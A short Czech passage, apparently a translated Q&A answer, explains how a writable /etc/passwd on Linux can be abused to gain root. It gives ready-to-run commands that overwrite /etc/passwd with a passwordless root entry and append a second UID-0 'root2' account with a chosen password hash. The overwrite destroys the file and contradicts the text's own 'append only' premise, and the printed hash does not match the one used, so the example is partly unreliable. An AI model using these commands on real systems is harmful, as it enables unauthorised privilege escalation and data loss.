Hesla jsou normálně uložena v /etc/shadow
, který není pro uživatele čitelný. Historicky však byly uloženy ve světově čitelném souboru /etc/passwd
spolu se všemi informacemi o účtu. Z důvodu zpětné kompatibility, pokud je hash hesla uveden ve druhém sloupci v /etc/passwd
, má přednost před tím v /etc/shadow
.
Historicky prázdné druhé pole v /etc/passwd
znamená, že účet nemá žádné heslo, tj. kdokoli se může přihlásit bez hesla (používá se pro účty hostů). To je někdy zakázáno. Pokud jsou účty bez hesla deaktivovány, můžete zadat hash hesla podle svého výběru. Můžete použít crypt
funkce pro generování hodnot hash hesel, například perl -le 'print crypt("foo", "aa")'
nastavte heslo na foo
.
Je možné získat root přístup, i když můžete přidat pouze /etc/passwd
a nepřepisovat obsah. Je to proto, že je možné mít více záznamů pro stejného uživatele, pokud mají různá jména – uživatelé jsou identifikováni svým ID, nikoli svým jménem, a definujícím rysem účtu root není jeho jméno, ale skutečnost, že má ID uživatele 0. Můžete tedy vytvořit alternativní účet root připojením řádku, který deklaruje účet s jiným jménem, heslem dle vašeho výběru a ID uživatele 0.
Stačí napsat:
echo root::0:0:root:/root:/bin/bash > /etc/passwd
su
a vy jste root.
(Odstranění x
znamená, že root již nevyžaduje žádné heslo, můžete použít sed
místo echo
přesto to stačí k získání root shellu)
Můžete použít tuto nedestruktivní metodu:
# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE
# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd
# to switch to a root2
su root2
Password: mrcake